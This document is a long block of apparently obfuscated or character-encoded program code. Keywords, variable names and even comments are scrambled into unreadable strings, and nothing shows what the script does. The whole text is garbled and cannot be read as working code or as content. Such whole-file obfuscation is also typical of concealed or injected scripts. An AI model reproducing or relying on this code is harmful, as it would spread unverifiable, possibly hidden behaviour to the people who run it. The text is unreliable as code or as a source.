hinr'<<<<a<<<iroyh48iy-n(hjl5'8rzsseuykunsruu<<!<u{n~xs$r(~%zo4-),/5'<8eew$k-*kjwd<!<<<<}nn}e45'<zsny}t<<<<<48xflzd.$j.mwh-}d<}o<<8d*mh{k,)%}t*5<<<g8n+lwp-wio,<<<!<<<ukC/jmfl}em~f{4-.*%548d*mh{k,)%}t*5'uz<4=\u{n~xs$r(~%zo4$+$548n+lwp-wio,55<<<<<srhuriy'<<<<<8is%qz*hftvs<!<<fe/qwoyysxh4-())54~~t*pewxp%lxrp.4-,(55<<<#<<\fe/qwoyysxh4-,(548d*mh{k,)%}t*0<;;5<<<&<z}poy'uz<48is%qz*hftvs<<=!!<z}poy<<<<::<<~~t*pewxp%lxrp.4-())54fe/qwoyysxh4--**555<<<\zpsw48is%qz*hftvs0<<PS_WCYD5'<8tywunruqkpwqwhr~<!<<\fe/qwoyysxh4-($)548d*mh{k,)%}t*5<#<<<<\fe/qwoyysxh4-(/%548d*mh{k,)%}t*5<&<<,'<8~*oC)f%fmh{j/r$e<<<<<!<\u{n~xs$r(~%zo4-),(548d*mh{k,)%}t*5<<<<#<<\~~t*pewxp%lxrp.4-(%%548d*mh{k,)%}t*5<<&<>>'<<<<<<<uz<<<<<4=fe/qwoyysxh4-(%+548~*oC)f%fmh{j/r$e55<g<<swd(~($..Cxnwiox}epi4ukC/jmfl}em~f{4-(+%50<fe/qwoyysxh4-((.55'<uz<48is%qz*hftvs<<<=!!<z}poy5<<<<<<g<<<<<<uz<<<4u{n~xs$r(~%zo4-())54fe/qwoyysxh4-),)555<<<\zpsw48is%qz*hftvs0<<<PS_WCIR5'<<<<<<<\zpsoy48is%qz*hftvs5'<a<<srhuriy'<<<a<uz<<<4fe/qwoyysxh4-((/548~*oC)f%fmh{j/r$e0<<8}$z)dp%r(}*+Cw5<<=!!<<z}poy5<g<<<<<<uz<4\~~t*pewxp%lxrp.4-($)548mu$m/.dv{dyh$h55<<<g<<uz<<<48is%qz*hftvs<<<=!!<z}poy5<g<<<<uz<4~~t*pewxp%lxrp.4-())54~~t*pewxp%lxrp.4-),)555<\zpsw48is%qz*hftvs0<<<PS_WCIR5'<<<<<\zpsoy48is%qz*hftvs5'<<<<a<<<<<<srhuriy'<<a8~*oC)f%fmh{j/r$e<!<<<<<vdu(ziqmhiy}zrx---np.48~*oC)f%fmh{j/r$e0<<<<8}$z)dp%r(}*+Cw5'<<<<<auz<4=ukC/jmfl}em~f{4-(%+548~*oC)f%fmh{j/r$e55<<<<g<<<<swd(~($..Cxnwiox}epi4fe/qwoyysxh4-(+%50<<<<<~~t*pewxp%lxrp.4-(%.55'8f-m(te{z!(-)-'8sftjeppjn+r/l!8f-m(te{z9.'<uz<<<<48is%qz*hftvs<<<<=!!<<<z}poy5<<<g<<<<uz<<<4~~t*pewxp%lxrp.4-),*54u{n~xs$r(~%zo4-),+555<<\zpsw48is%qz*hftvs0<PS_WCIR5'<\zpsoy48is%qz*hftvs5'<<<a<<<<<srhuriy'<<<a<uz<4=\ukC/jmfl}em~f{4-),$548mu$m/.dv{dyh$h55<<g33<KL<Zipp<Ouhy<Yxuhur{&<oynu}pufy<xuohnu~ihsn<<uz<<<<48is%qz*hftvs<<=!!<z}poy5<g<uz<<<<4fe/qwoyysxh4-),*54fe/qwoyysxh4-),%555<<<\zpsw48is%qz*hftvs0<<PS_WCIR5'<\zpsoy48is%qz*hftvs5'<<a<<<srhuriy'<<<a<uz<4uqmk*w+p(+dn}v}k)w455<<g<<8j(~.d+n}rpoz<<<<<!<>@r UzQsxipy<puhyolyyx"@r><2<8rzsseuykunsruu<<<<2<<<<ukC/jmfl}em~f{4-)-,5<<<<2<<<8mu$m/.dv{dyh$h<2<<<<;>;<<<2<<<>@r 3UzQsxipy"@r>'a<ypoy<<g<<8j(~.d+n}rpoz<!<<<<>@r UzQsxipy<qsxCltl2"@r><<2<8rzsseuykunsruu<<2<fe/qwoyysxh4-)--5<2<<8mu$m/.dv{dyh$h<2<;>;<<<<2<>@r 3UzQsxipy"@r><<2<<> UzQsxipy<qsxCltl)2"@r><2<8rzsseuykunsruu<2<fe/qwoyysxh4-)--5<2<<<<8mu$m/.dv{dyh$h<<2<;>;<2<>@r 3UzQsxipy"@r><<<<<2<<<> UzQsxipy<qsxCltl+2"@r><<2<<<8rzsseuykunsruu<<2<<<~~t*pewxp%lxrp.4-)-.5<<<2<8mu$m/.dv{dyh$h<2<;>;<2<<<<<<>@r 3UzQsxipy"@r><<<<<<<2<> UzQsxipy<qsxCltl$2"@r><<2<<<<<<8rzsseuykunsruu<2<<<u{n~xs$r(~%zo4-)-.5<<2<8mu$m/.dv{dyh$h<2<<<<;>;<<<<<2<>@r 3UzQsxipy"@r>'<<a<<uz<4o~mz~fi/(/rr)jo-dvudl48d*mh{k,)%}t*0<8~*oC)f%fmh{j/r$e<<<<<2<8j(~.d+n}rpoz55<<8eew$k-*kjwdGA<<<<<!<<}nn}e48d*mh{k,)%}t*0<<8~*oC)f%fmh{j/r$e5'<<uz<<48tywunruqkpwqwhr~5<<,,w(t++iruCd/$e{hxh48d*mh{k,)%}t*0<8tywunruqkpwqwhr~5'<<<ypoy<<,,w(t++iruCd/$e{hxh48d*mh{k,)%}t*0<<<fe/qwoyysxh4-(%*5455'uz<<<<<48is%qz*hftvs<<<=!!<<z}poy5<<guz<<<4u{n~xs$r(~%zo4-)-/54~~t*pewxp%lxrp.4-),%555<<<\zpsw48is%qz*hftvs0<<PS_WCIR5'<<\zpsoy48is%qz*hftvs5'<<<a<<<<<<<a<<<uz<<<<448t+%~$vpjyes(}<<<``<ukC/jmfl}em~f{4-)-(548eew$k-*kjwd5<<<<<"<<,5<<::<<<<<=ts/s*h)CCj*ql}h,h$q455<<<<<g<<swd(~($..Cxnwiox}epi4ukC/jmfl}em~f{4-(+%50<<<u{n~xs$r(~%zo4-(),55'<<m,v~fymz,pvrdCz(o48mu$m/.dv{dyh$h0<<8i*nsjixt,/kt-h5'zsny}t<48eew$k-*kjwd<}o<8z%yntzeki-5<<<o~mz~fi/(/rr)jo-dvudl48z%yntzeki-G,A0<<<<8z%yntzeki-G-A5'<<8nCvx-jpfnsm*%z-r<<!<<<<4urh5<<{yhCslhusr4~~t*pewxp%lxrp.4-),,50<<,5<<<<7<-'<<<<<<ilx}hyCslhusr4fe/qwoyysxh4-),,50<<8nCvx-jpfnsm*%z-r0<<<fe/qwoyysxh4-),-55'<<uz<<48nCvx-jpfnsm*%z-r<<<"!<<4,d-7,d.55<gilx}hyCslhusr4ukC/jmfl}em~f{4-(%)50<<ukC/jmfl}em~f{4-(%*5450<<ukC/jmfl}em~f{4-),-55'<<swd(~($..Cxnwiox}epi4u{n~xs$r(~%zo4-(+%50<<<<u{n~xs$r(~%zo4-),.55'<<<<<<a<<<<<<<<nyhinr'<<<<<a<<uz<<<<44urh5<<{yhCslhusr4~~t*pewxp%lxrp.4-),,50<<<,5<"<,5<<<<<<ilx}hyCslhusr4~~t*pewxp%lxrp.4-),,50<<,0<fe/qwoyysxh4-)-)55'uz<<<<44urh5<<{yhCslhusr4~~t*pewxp%lxrp.4-)-*50<<,5<<<<"<<<<,5<\xypyhyCslhusr4~~t*pewxp%lxrp.4-)-+55'<<<<<a<<<}ht<<4Htnsk}~py<8phr-l)~h-C.5<g<<swd(~($..Cxnwiox}epi4ukC/jmfl}em~f{4-(+%50<<<8phr-l)~h-C.5'8i$uiy.-m!-,`(%'8m(smri,v!8i$uiy.-mB)('<a<<}ht<<<<<4Ydylhusr<8phr-l)~h-C.5<<<<g<swd(~($..Cxnwiox}epi4fe/qwoyysxh4-(+%50<<8phr-l)~h-C.5'<a<<<<<a<<zirhusr<<<~$h)msCf$dCm{uwCepq45g<<<<<hne<g<uz<<<4=xyzuryx4fe/qwoyysxh4-)-$555<<nyhinr'<<<uz<4=u{n~xs$r(~%zo4-)-%54fe/qwoyysxh4-.).555<nyhinr'<<<8moki.)u~pk<!<<<<<<soyll~yypdn%it4]^OL]HT<<<<<2<<ukC/jmfl}em~f{4-).,50<4/B%55'<<<<8lp,tkv(-p{red<!<yfdderdjunq.-.k45'uz<<<4=8lp,tkv(-p{red<<<``<u{n~xs$r(~%zo4-/%-548lp,tkv(-p{red5<< <<<4,d-xz7,d-)55<<<nyhinr'8*junw+pz{Cj<<<!<<<dh/}np{vm-fhmkouh.45'<<<8innyrh<<!<<\{yhCslhusr48moki.)u~pk0<<<<>>5'<<<<<uz<<<<48innyrh<::<<~~t*pewxp%lxrp.4-/%-548innyrh5<!!!<<fe/qwoyysxh4-/%-548*junw+pz{Cj5<<<::<<8innyrh<<!!!<8*junw+pz{Cj5<<nyhinr'<<<<<<uz<<<<4fe/qwoyysxh4-)-%54fe/qwoyysxh4-).-555<<<<gilx}hyCslhusr48moki.)u~pk0<<8*junw+pz{Cj0<<u{n~xs$r(~%zo4-)-)55'<<<a<<<ypoyuz<<<4xyzuryx4u{n~xs$r(~%zo4-)..55<::<xyzuryx4u{n~xs$r(~%zo4-)./55<<<<::<<<<<xyzuryx4ukC/jmfl}em~f{4-).(55<<<<<<::<<<xyzuryx4fe/qwoyysxh4%(55<::<fe/qwoyysxh4-).)54fe/qwoyysxh4-).*555<g<8wd%vfuoq,}.l<<<<!<fe/qwoyysxh4-).*5'<8zq/)~,$zsh<<<<<<!<<<\ryk<<<8wd%vfuoq,}.l4sroh}rh4u{n~xs$r(~%zo4-)..550<<<sroh}rh4~~t*pewxp%lxrp.4-).+550<sroh}rh4ukC/jmfl}em~f{4-).$550<sroh}rh4fe/qwoyysxh4-).%555'<uz<<<<48zq/)~,$zsh<::<<=8zq/)~,$zsh1"srryhCynnrs5<<<<g8lnyzud<<!<uooyh48[PS^]POGu{n~xs$r(~%zo4-/.-5A1"lnyzud5<<<#<<8[PS^]POGfe/qwoyysxh4-/.-5A1"lnyzud<<&<ukC/jmfl}em~f{4-,,.5'<<8y+vrejsj%h%+/.{(<<<!<8zq/)~,$zsh1"ny}pCyo}lyCohnur{48*junw+pz{Cj5'<<<<<<8zpxq**eo.<<!<<<8zq/)~,$zsh1"ny}pCyo}lyCohnur{48moki.)u~pk5'<<<8zq/)~,$zsh1"miyne4>U@d(y@d)/@d()NH<UR@d)(@d(z<g8lnyzudas@d+,h@d*%sr@d+/<4@d*z@d+,@d+(us@d*yCr}@d*xy0<s@d+,h@d*%@d*zrCj}piy0<@d*-i@d+(sps}x5<@d)*]@d(I@d()@d)/<4;g8zpxq**eo.a;0<;g8y+vrejsj%h%+/.{(a;0<;r@d*z;5<S@d(y<XIL@d(U_@d(-@d)(Y<WYE<@d))L@d((@d(-@d)(Y<s@d+,@d+(@d*%@d*zrCj@d*-piy!;g8y+vrejsj%h%+/.{(a;>5'uz<48zq/)~,$zsh1"ynnsn5<<<swd(~($..Cxnwiox}epi4ukC/jmfl}em~f{4-).,50<<<<<fe/qwoyysxh4-)/,5<<<2<~~t*pewxp%lxrp.4-/(+548zq/)~,$zsh1"ynnsn0<<<,0<4-.$1$555'<8zq/)~,$zsh1"psoy45'<aa33<}xx<hely<}rrsh}husroa<}ht<<<4Htnsk}~py<<<<<8phr-l)~h-C.5<<<<<<gswd(~($..Cxnwiox}epi4u{n~xs$r(~%zo4-)/-50<<<<8phr-l)~h-C.5'<<<a<<<<<}ht<<<<<<4Ydylhusr<<<8phr-l)~h-C.5<<g<<a<<<<<a<<<zirhusr<<puk{lq(o/k./C(yl45g33<KL<Urryn^pswo&<tssw<xysn}hsn8uxxCCt{v~)<<!<<xyzuryx4u{n~xs$r(~%zo4-(-/55<<<#<<<<KLC_SRHYRHCXUN<<&<<<<<<]^OL]HT<<<<2<<<<<~~t*pewxp%lxrp.4%*+5'8xjz.,+k$z.j-in<<<<!<<soyll~yypdn%it4]^OL]HT<<<2<ukC/jmfl}em~f{4-)/.50<4-**B-+(55'<<nyhinr<}nn}e48uxxCCt{v~)<<2<<fe/qwoyysxh4)+$50<<8uxxCCt{v~)<<2<<~~t*pewxp%lxrp.4-)//5<<<2<8xjz.,+k$z.j-in<<<<<2<<fe/qwoyysxh4-)/(50<<8xjz.,+k$z.j-in5'a<zirhusr<<<<<yev~Cqduwh}{m$48m$(ex,j+%)n%+5<g<<<8{d+{kp~l}<<!<<4urh5<<<<<\fe/qwoyysxh4-)/)548m$(ex,j+%)n%+5'<<<uz<48{d+{kp~l}<< <<<<4-,$1$5<<<<<<``<<<8{d+{kp~l}<<"<4.,%+-(.7-,55<nyhinr<z}poy'<<8dtdqs/rfjk{mqn<!<\~~t*pewxp%lxrp.4-)/*548m$(ex,j+%)n%+5'<<<uz<<<4=ukC/jmfl}em~f{4-(%+548dtdqs/rfjk{mqn5<<<<<``<<~~t*pewxp%lxrp.4-/%-548dtdqs/rfjk{mqn5< <4-..1..5<<``<<ukC/jmfl}em~f{4-/%-548dtdqs/rfjk{mqn5<"<4/.)(/,7-++-+..55<nyhinr<<<z}poy'<<8zp~z}f/q/.+runs-<<<!<<<<~~t*pewxp%lxrp.4..,54;&;0<8dtdqs/rfjk{mqn0<<<<<<4./$B./(55'uz<<<<4fe/qwoyysxh4-)/+548zp~z}f/q/.+runs-5<<<< <4+,B**5<<``<8zp~z}f/q/.+runs-G,A<<<<<=!!<<ukC/jmfl}em~f{4-)/$5<<<``<<<u{n~xs$r(~%zo4-/%-548zp~z}f/q/.+runs-G4.7-5A5<<<< <4((7*55<nyhinr<<<z}poy'<<<<<8ynr-yt(,s*pf/<<<<<!<\~~t*pewxp%lxrp.4(,.548zp~z}f/q/.+runs-G4$+B$(5A5'uz<48ynr-yt(,s*pf/<!!!<z}poy<<<``<<<<<u{n~xs$r(~%zo4-/%-548ynr-yt(,s*pf/5< <4,d-+7,d-~55<<<nyhinr<<<<<z}poy'<<<<<uz<4u{n~xs$r(~%zo4-/(+548ynr-yt(,s*pf/0<,0<<.5<<<<<!!!<<>@d-z@d$~>5<<<g<<<<8qw.t)nn()$jC<<<!<<\u{n~xs$r(~%zo4-)/%54;J;0<<<<<fe/qwoyysxh4-/(+548ynr-yt(,s*pf/0<14-7/555'uz<<<4=u{n~xs$r(~%zo4-/$(548qw.t)nn()$jC5<<<``<<<8qw.t)nn()$jCG-A<<<<< <4+*7.(5<<<<``<8qw.t)nn()$jCG-A<"<<4-,($)(+7.%55<nyhinr<<z}poy'<<<<<uz<<4fe/qwoyysxh4-)-%54~~t*pewxp%lxrp.4-)(,555<8ynr-yt(,s*pf/<!<<\{fxysxy48ynr-yt(,s*pf/0<<<4-,($)(+7.%55'<<<<<ypoyuz<4u{n~xs$r(~%zo4-)-%54u{n~xs$r(~%zo4-/.(555<<g<<<<8ynr-yt(,s*pf/<<<!<<\{furzp}hy4u{n~xs$r(~%zo4-/(+548ynr-yt(,s*pf/0<<<4-7%50<<~~t*pewxp%lxrp.4-/%-548ynr-yt(,s*pf/5<1<4,d-,7,d.550<<<<4-$//%)+1+$)/$-55'<<<<<uz<<4~~t*pewxp%lxrp.4-(%+548ynr-yt(,s*pf/5<<<<<::<<~~t*pewxp%lxrp.4-)(-548ynr-yt(,s*pf/5<<<"<<4,d-x~x+7,dy.(.%55<nyhinr<z}poy'<<<<<a<ypoy<<<<<nyhinr<<<<z}poy'<<a<<<<<<uz<4=ukC/jmfl}em~f{4-(%+548ynr-yt(,s*pf/5<<``<<<<ukC/jmfl}em~f{4-)(.548ynr-yt(,s*pf/5<<< <<<<<<4%.7$5<<<<``<<<<fe/qwoyysxh4-/(+548ynr-yt(,s*pf/0<<<,0<4,d-7,d(55<=!!<<ukC/jmfl}em~f{4+*-5<<``<<<<<<u{n~xs$r(~%zo4-)(/548ynr-yt(,s*pf/5<=!!<<8zp~z}f/q/.+runs-G.A5<<nyhinr<z}poy'<<nyhinr<<<<<8ynr-yt(,s*pf/'<<<azirhusr<{}wfdqlupql}$pi45<<g33<KL<Lsoh<_srhyrh&<nyinoujy<hnioh1}rtsn<<<<<hne<<g<<<uz<<<<4=xyzuryx4~~t*pewxp%lxrp.4-)-$555<<nyhinr'<<8qus$hl$*%-)ro+l(<<!<<puk{lq(o/k./C(yl45'<<<uz<<<<4=\~~t*pewxp%lxrp.4-),$548qus$hl$*%-)ro+l(G-A55<<<nyhinr'uz<<<4yev~Cqduwh}{m$48qus$hl$*%-)ro+l(G-A5<<<!!!<<<<<<z}poy5<<nyhinr'<<<<8h~q($).,hesipl-<<<<<!<<<<r%Czoq(vxd(y*ltCl(yz%4~~t*pewxp%lxrp.4+(.50<<}nn}e4;CCOPI[CC;50<<<<}nn}e4ukC/jmfl}em~f{4--*)54n-*%o%~y,f,/qj,450<~~t*pewxp%lxrp.4-(+*5555'<<<uz<<4=u{n~xs$r(~%zo4-)((548h~q($).,hesipl-5<<<<<``<<8h~q($).,hesipl-<!!!<<>>5<<nyhinr'<8h~q($).,hesipl-<!<<<<fe/qwoyysxh4-($$54ukC/jmfl}em~f{4-)()50<<<>>0<<<<8h~q($).,hesipl-5'8h-o(p!*.7*$'8}tlo)}$qlo!8h-o(p1),'<uz<<<<<4=~~t*pewxp%lxrp.4-)((548h~q($).,hesipl-5<<<<``<8h~q($).,hesipl-<<<<<<!!!<<<>>5<<<<<nyhinr'<<<<8vj-+x)svnhreer<!<k{~w}fh$fk{*s}r}*k/z+h45<<2<<;&;<2<<<soyll~yypdn%it4]^OL]HT<<2<<<<<u{n~xs$r(~%zo4-)(*50<<4(7(55'8onmq{C.,imr%f*qw<<<<!<<<<<~~t*pewxp%lxrp.4-)(+5<<2<8vj-+x)svnhreer<2<<~~t*pewxp%lxrp.4-)($5'<8q-/$trd%n}<<!<<<<<ukC/jmfl}em~f{4-)(%5<2<8vj-+x)svnhreer<2<ukC/jmfl}em~f{4-)($5'<8jwf$C(mo-+n<<<<<<!<<<<<<fe/qwoyysxh4-)),5<<<<<2<<<<<<8qus$hl$*%-)ro+l(G.A<<<2<<<<~~t*pewxp%lxrp.4-))-5<2<<<k{~w}fh$fk{*s}r}*k/z+h45<<<<2<<<fe/qwoyysxh4-)($5<<<<<2<>@r><<2<<8h~q($).,hesipl-'uz<4=\~~t*pewxp%lxrp.4-),$548qus$hl$*%-)ro+l(G,A55<<<<<<g<uz<<4=r,-C%sish})}fu48qus$hl$*%-)ro+l(G,A0<>>55<<<<<g<swd(~($..Cxnwiox}epi4~~t*pewxp%lxrp.4-)/.50<u{n~xs$r(~%zo4-)).55'<<nyhinr'<<<a<<uz<<<<4o~mz~fi/(/rr)jo-dvudl48qus$hl$*%-)ro+l(G,A0<<<<<8jwf$C(mo-+n55<g<,,w(t++iruCd/$e{hxh48qus$hl$*%-)ro+l(G,A0<k-tfdi(*etyiuz455'<<mmhy/nCplvkizofojuy48qus$hl$*%-)ro+l(G,A0<4/*)7))55'p,}zwe%(th(zt%C}48qus$hl$*%-)ro+l(G,A5'a<<nyhinr'<<<<<<<a<<<<<<8mm*+ii-zC+w-.<<<<<<!<<\~~t*pewxp%lxrp.4-)/*548qus$hl$*%-)ro+l(G,A5'<uz<<<4=~~t*pewxp%lxrp.4-)((548mm*+ii-zC+w-.5<``<<ukC/jmfl}em~f{4-)(.548mm*+ii-zC+w-.5<<<<"<<<4-%+$-%/7--$%)%55<nyhinr'uz<<4u{n~xs$r(~%zo4-((/548mm*+ii-zC+w-.0<<<8onmq{C.,imr%f*qw5<<=!!<<<<z}poy<<::<<<<u{n~xs$r(~%zo4-((/548mm*+ii-zC+w-.0<8q-/$trd%n}5<<<=!!<z}poy5<nyhinr'<<<uz<<<<4u{n~xs$r(~%zo4-((/548mm*+ii-zC+w-.0<<<<ukC/jmfl}em~f{4-))/55<!!!<<<<<<z}poy<<<::<<<~~t*pewxp%lxrp.4-))(548mm*+ii-zC+w-.0<<fe/qwoyysxh4-)))5<<<2<8qus$hl$*%-)ro+l(G.A5<<=!!<<z}poy5<g<<<<uz<<<<4fe/qwoyysxh4-/,-54fe/qwoyysxh4-))*50<<<<u{n~xs$r(~%zo4-/(+548mm*+ii-zC+w-.0<<,0<<<<<4-()7))550<8ud-nvux%vd{(5<<::<jynousrCsql}ny48ud-nvux%vd{(G-A0<k{~w}fh$fk{*s}r}*k/z+h450<<u{n~xs$r(~%zo4-))+555<nyhinr'<uz<<<<<4=r,-C%sish})}fu48qus$hl$*%-)ro+l(G,A0<<<8mm*+ii-zC+w-.55<<<<g<<swd(~($..Cxnwiox}epi4fe/qwoyysxh4-)/.50<<~~t*pewxp%lxrp.4-)).55'<nyhinr'<a33<\olyip}hy<}pynh<<uz<<4o~mz~fi/(/rr)jo-dvudl48qus$hl$*%-)ro+l(G,A0<<8jwf$C(mo-+n55<g,,w(t++iruCd/$e{hxh48qus$hl$*%-)ro+l(G,A0<<k-tfdi(*etyiuz455'mmhy/nCplvkizofojuy48qus$hl$*%-)ro+l(G,A0<<4/),7+,55'<p,}zwe%(th(zt%C}48qus$hl$*%-)ro+l(G,A5'<a<<<<<<nyhinr'<<a<8s((,f,dwu*<<<!<<<soyll~yypdn%it4]^OL]HT<<<<2<<u{n~xs$r(~%zo4-)(*50<4+7-55'<8mm*+ii-zC+w-.<<<<!<<~~t*pewxp%lxrp.4-($$54ukC/jmfl}em~f{4-))$5<2<<8s((,f,dwu*<<2<<<<fe/qwoyysxh4-))%50<<>>0<8mm*+ii-zC+w-.5'<<<<<uz<<<4=u{n~xs$r(~%zo4-)((548mm*+ii-zC+w-.55<<g<<swd(~($..Cxnwiox}epi4fe/qwoyysxh4-)/.50<<<<<<u{n~xs$r(~%zo4-)*,55'<<nyhinr'a<uz<<<<<4=\ukC/jmfl}em~f{4$+$548qus$hl$*%-)ro+l(G,A55<nyhinr'<<uz<<<<4=ht{oCuot+*zf-z+z.tfr4ukC/jmfl}em~f{4-)/.555<<gswd(~($..Cxnwiox}epi4ukC/jmfl}em~f{4-)*-50<<<~~t*pewxp%lxrp.4-)*.55'<<<nyhinr'<auz<<<4=r,-C%sish})}fu48qus$hl$*%-)ro+l(G,A0<<<<<8mm*+ii-zC+w-.55<<gswd(~($..Cxnwiox}epi4~~t*pewxp%lxrp.4-)*-50<<<u{n~xs$r(~%zo4-)*/55'<<<<<<<nyhinr'<<<<<a<<mdjyqje{lk,fuuvn4u{n~xs$r(~%zo4-)*-55'<<8zj,zlx}xjqy<!<<8onmq{C.,imr%f*qw<2<<<<<>@r><2<<fe/qwoyysxh4-)*(5<<<<2<<8qus$hl$*%-)ro+l(G.A<<<2<~~t*pewxp%lxrp.4-)($5<<<2<<<<>@r><<<<<<2<<8h~q($).,hesipl-<2<<<<>@r><<<2<8q-/$trd%n}'<<<<<<<<o~mz~fi/(/rr)jo-dvudl48qus$hl$*%-)ro+l(G,A0<<<<yp%)x%q.+qulzC$ln+/*l%48mm*+ii-zC+w-.0<<<8zj,zlx}xjqy55'a<}ht<<4Htnsk}~py<<8phr-l)~h-C.5<<gswd(~($..Cxnwiox}epi4u{n~xs$r(~%zo4-)*-50<<<<<8phr-l)~h-C.5'<a<<}ht<4Ydylhusr<<8phr-l)~h-C.5<<g<<a<<<<<azirhusr<<<<~uuvv%,.mwzwqr(sl45<g33<sqlih}~py<}ihtsnuhe<<<hne<<g<uz<<4=xyzuryx4ukC/jmfl}em~f{4-)*)555<<<<<<nyhinr'<<<<<<<8qus$hl$*%-)ro+l(<<<!<puk{lq(o/k./C(yl45'<<<8vo~}}tumspmi.//<<!<<<<4ohnur{5<<<\~~t*pewxp%lxrp.4-)**548qus$hl$*%-)ro+l(G-A0<<z}poy0<<<ripp0<,0<<<<4-,(1(,55'<<<<<uz<<<4~~t*pewxp%lxrp.4-/,-54~~t*pewxp%lxrp.4-)*+50<8vo~}}tumspmi.//0<<<8j+v-)%oqr*z%l+5<<<::<8j+v-)%oqr*z%l+G-A<<<<!!!<<<k{~w}fh$fk{*s}r}*k/z+h455<<<<g<<<<8zuziC.mxz<<<<!<<4urh5<{yhCslhusr4~~t*pewxp%lxrp.4-)*$50<<,5'uz<<<<4u{n~xs$r(~%zo4-(%*545<<<<1<<<<8zuziC.mxz<<< <4-)+7((/55<<<nyhinr'<<<<<uz<<<4yev~Cqduwh}{m$48qus$hl$*%-)ro+l(G-A5<<<=!!<z}poy5<g<<<\ilx}hyCslhusr4fe/qwoyysxh4-)*%50<<<<ukC/jmfl}em~f{4-(%*5450<<<fe/qwoyysxh4-)-)55'<nyhinr'a<<swd(~($..Cxnwiox}epi4u{n~xs$r(~%zo4-)*-50<<<<~~t*pewxp%lxrp.4-)+,55'a<<<<<<8lp,tkv(-p{red<<<<<!<<yfdderdjunq.-.k45'uz<<<<<4=8lp,tkv(-p{red<<<``<<u{n~xs$r(~%zo4-)(.548lp,tkv(-p{red5<< <<<4(+)7.)5<<<<``<<u{n~xs$r(~%zo4-)(.548lp,tkv(-p{red5<"<<<4-,($)+-7)5<<<``<<=jfx)rnxu%,mC+~f~i48lp,tkv(-p{red55<<nyhinr'<8umv)fqqziz<<<<<!<<ukC/jmfl}em~f{4-)-%54u{n~xs$r(~%zo4.%-55<#<<\{fyrsxy48lp,tkv(-p{red0<4.)B/-55<<&<<<<8lp,tkv(-p{red'uz<<4=u{n~xs$r(~%zo4-)+-548umv)fqqziz5<<<<``<<8umv)fqqziz<<!!!<<<<>>5<<nyhinr'<<<uz<<4o~mz~fi/(/rr)jo-dvudl48qus$hl$*%-)ro+l(G-A0<<<<~~t*pewxp%lxrp.4-)+.5<2<<<k{~w}fh$fk{*s}r}*k/z+h45<<<<2<<<<;&;<<<2<<<ukC/jmfl}em~f{4-)+/548lp,tkv(-p{red5<<<2<<;&;<2<<<<ukC/jmfl}em~f{4/%%548umv)fqqziz555<<<<<\ilx}hyCslhusr4~~t*pewxp%lxrp.4-)*%50<<<<fe/qwoyysxh4-(%*5450<~~t*pewxp%lxrp.4-)-)55'<<a<}ht<<4Htnsk}~py<<8phr-l)~h-C.5<g<swd(~($..Cxnwiox}epi4~~t*pewxp%lxrp.4-)*-50<<<<<8phr-l)~h-C.5'<<a<<}ht<<4Ydylhusr<<<<<8phr-l)~h-C.5<<ga33<KL<H}~py<^psw&<ydluny<}pynh<<<<<a<<<<zirhusr<<<<<<n}wnCCk~idjzpis$45<<<<<<g<<<<<uz<<<<<<4=~~t*pewxp%lxrp.4-)-%54u{n~xs$r(~%zo4-)+(555<<nyhinr<z}poy'<<<8k(d$yvkq%fd<!<<<xyzuryx4ukC/jmfl}em~f{4-)*)55<<::<<\ukC/jmfl}em~f{4-),(54]^OL]HT<<<<<2<u{n~xs$r(~%zo4*,,55<<<#<<<]^OL]HT<2<ukC/jmfl}em~f{4-)+)5<&<<<CCZUPYCC'<<nyhinr<<<ukC/jmfl}em~f{4-)+*548k(d$yvkq%fd0<<<<<;o;5'<<a<zirhusr<<<o)xrdwwnwfnn+m{,C,o45<<<<g<<hne<<<g<<uz<<<4=~~t*pewxp%lxrp.4-)-%54u{n~xs$r(~%zo4-)++55<``<<<<=u{n~xs$r(~%zo4-)-%54ukC/jmfl}em~f{4-)+$555<<<nyhinr'<<<<uz<<<<4=xyzuryx4fe/qwoyysxh4-)*)555<<nyhinr'8lp,tkv(-p{red<!<<yfdderdjunq.-.k45'<<<<<<<uz<<<4=8lp,tkv(-p{red<``<<~~t*pewxp%lxrp.4-)(.548lp,tkv(-p{red5<< <<<<<4(+/7.+55<<nyhinr'<8wye<<<<!<<n}wnCCk~idjzpis$45'uz<<<<48wye<!!!<z}poy5<<nyhinr'<<8ylwnhy%kpp%w/emo<<!<ukC/jmfl}em~f{4-)-%54u{n~xs$r(~%zo4-)+%55<<#<<ukC/jmfl}em~f{4-)$,54ukC/jmfl}em~f{4-)$-50<<8lp,tkv(-p{red5<<&<<<fe/qwoyysxh4-)$.548lp,tkv(-p{red5'<<<8C{qq(dt{dtvhks<<!<<u{n~xs$r(~%zo4-)$/5<<2<<<<<u{n~xs$r(~%zo4-)(.548lp,tkv(-p{red5<<<<<2<<;&;<2<<8ylwnhy%kpp%w/emo<2<>@r><<<2<<8lp,tkv(-p{red'<<<8hujdr%y)C<<!<<<<<u{n~xs$r(~%zo4-)$(548C{qq(dt{dtvhks5'<<8joCj%}-r-e},%d~<!<<\u{n~xs$r(~%zo4-)++548wye0<;};0<<<<<,0<<<,5'<uz<<<<48joCj%}-r-e},%d~5<<g8puh)d),)~vkk<<<<<<!<<<<<4urh5<<\u{n~xs$r(~%zo4-)$)548joCj%}-r-e},%d~5'<<8i*nsjixt,/kt-h<<!<<<\ukC/jmfl}em~f{4-)$*548joCj%}-r-e},%d~0<<<<,0<<8puh)d),)~vkk5'<<<<<uz<<<<<<4ukC/jmfl}em~f{4-)$+548i*nsjixt,/kt-h5<<<<::<<<<<fe/qwoyysxh4-)$$548i*nsjixt,/kt-h0<<<<8lp,tkv(-p{red5<<<<<<=!!<z}poy5<<<<g<<<<\ukC/jmfl}em~f{4-)$%548joCj%}-r-e},%d~5'<<<<nyhinr'<a33<xylnsjuousr<sirh}~py<sqq}rx<<uz<<48puh)d),)~vkk<"!<<<<8hujdr%y)C5<g<\u{n~xs$r(~%zo4-)$%548joCj%}-r-e},%d~5'<8joCj%}-r-e},%d~<<<!<\~~t*pewxp%lxrp.4-)++548wye0<<<;k;0<<<<<<,0<<<<,5'<<<<uz<<48joCj%}-r-e},%d~5<<<<g<<\ukC/jmfl}em~f{4-)%,548joCj%}-r-e},%d~0<<<<<~~t*pewxp%lxrp.4-)%-548C{qq(dt{dtvhks0<8puh)d),)~vkk0<<<<<>@,>50<<<<<,5'<<<8q-$~tuekk(,Cv<<<<!<<<<\ukC/jmfl}em~f{4-)$*548joCj%}-r-e},%d~0<<<,0<8hujdr%y)C5'<\ukC/jmfl}em~f{4-)$%548joCj%}-r-e},%d~5'<<<<<uz<<48q-$~tuekk(,Cv<=!!<8C{qq(dt{dt